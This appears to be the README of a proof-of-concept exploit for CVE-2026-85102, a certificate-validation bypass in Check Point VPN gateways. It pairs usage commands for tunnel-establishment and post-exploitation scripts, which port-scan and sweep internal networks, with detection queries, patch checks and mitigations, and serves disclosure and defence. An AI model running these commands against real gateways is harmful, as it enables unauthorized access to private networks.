
Authentication Bypass and Remote Code Execution in Remote Access and Site-to-Site VPN
Exploits CVE-2026-85102 to establish an unauthenticated VPN tunnel on Check Point Security Gateway by bypassing IKE certificate chain validation.
Official Check Point Advisory: sk1000117
Product: Check Point Security Gateway, Check Point Spark Firewall
Affected Versions: R81.20, R82, R82.10 (pre-Bundle T24), R80-R81.10 (all EoS)
Not Affected: R82.20
Component: libcpcert.so — fwKeyHolder_imp::IsChainTrusted()
Root Cause: IsChainTrusted() calls CanonizeChain() but ignores its return value. Even when chain canonicalization fails, the function returns TRUSTED.
Exploitation: An attacker can:
CanonizeChain() failureCVE-2026-85102.py # CVE-2026-85102: VPN tunnel establishment (auth bypass)
cp_postex.py # Post-exploitation helper (tunnel management, recon)
pip install cryptographyopenssl, iproute2 (ip command), nc (netcat)testuser)# Establish tunnel with certificate bypass
sudo python3 CVE-2026-85102.py<target_ip> -u <vpn_username>
# Output includes Office Mode IP, e.g., 172.16.10.3
# Clean up tunnel
sudo python3 CVE-2026-85102.py--cleanup
# Establish tunnel and save state
sudo python3 cp_postex.py tunnel up <target_ip> -u <vpn_username>
# Check tunnel status
sudo python3 cp_postex.py tunnel status
# Scan gateway ports through tunnel
sudo python3 cp_postex.py recon scan
sudo python3 cp_postex.py recon scan -p 80,443,18190-18208
# Sweep internal networks through tunnel
sudo python3 cp_postex.py recon sweep 192.168.1.0/24
sudo python3 cp_postex.py recon sweep 192.168.1.0/24 -p 22
# Tear down tunnel
sudo python3 cp_postex.py tunnel down
sudo python3 cp_postex.py tunnel down -f # Flush all xfrm state
| Parameter | Description |
|---|---|
<target_ip> | Check Point gateway IP |
-u <username> | VPN username (default: testuser) |
-l <local_ip> | Manual local IP for multi-interface systems |
-c <cert_host> | Alternative host for ICA certificate extraction |
--cleanup | Remove tunnel configuration |
Review logs for anomalous certificate-based Mobile Access logins. In SmartConsole/Spark Management, go to Logs & Monitor / Logs & Events and search for events after September 12, 2026:
product: "Mobile Access" AND action: "Log In" AND "Certificate"
Inspect events for unrecognized users, clients, or source IP addresses.
Suspicious certificate subjects observed:
CN=vpn,OU=users,O=globalCN=vpn-user,OU=users,O=globalCN=vpnuser,OU=users,O=globalInstall LivePatch Take 26 (BUNDLE_URGENT_SECURITY_UPDATE):
Validate installation:
# Check LivePatch status
cplp list
# Expected output includes:
# cpcert:cpca* CVE-2026-85102 CVE-2026-85103
# cpcert:iked* CVE-2026-85102 CVE-2026-85103
# cpcert:vpn* CVE-2026-85102 CVE-2026-85103
# cpcert:vpnrad* CVE-2026-85102 CVE-2026-85103
# cpcert_cprid:cprid* CVE-2026-85102 CVE-2026-85103
The fix modifies libcpcert.so:
// IsChainTrusted: Check CanonizeChain return value
result = CanonizeChain(this, trusted_ca, sorted, out, i, trust_type);
if (!result) {
trusted_ca = NULL;
}
return trusted_ca;
// CanonizeChain: Check intermediate operation returns
if (!CopyChain(...)) return NULL;
if (!TruncateChain(...)) return NULL;
Disable implied VPN rules and manually define VPN access for UDP/500 and UDP/4500 for specific peer IP addresses. See sk179346.
Disable Remote Access VPN implied rules. Create explicit Access Control rules allowing required Remote Access VPN services to the Security Gateway:
Note: These mitigations are not applicable to locally managed Spark Firewalls.
This exploit code is provided for security research and testing purposes. Use on your own systems or with explicit authorization from the system owner.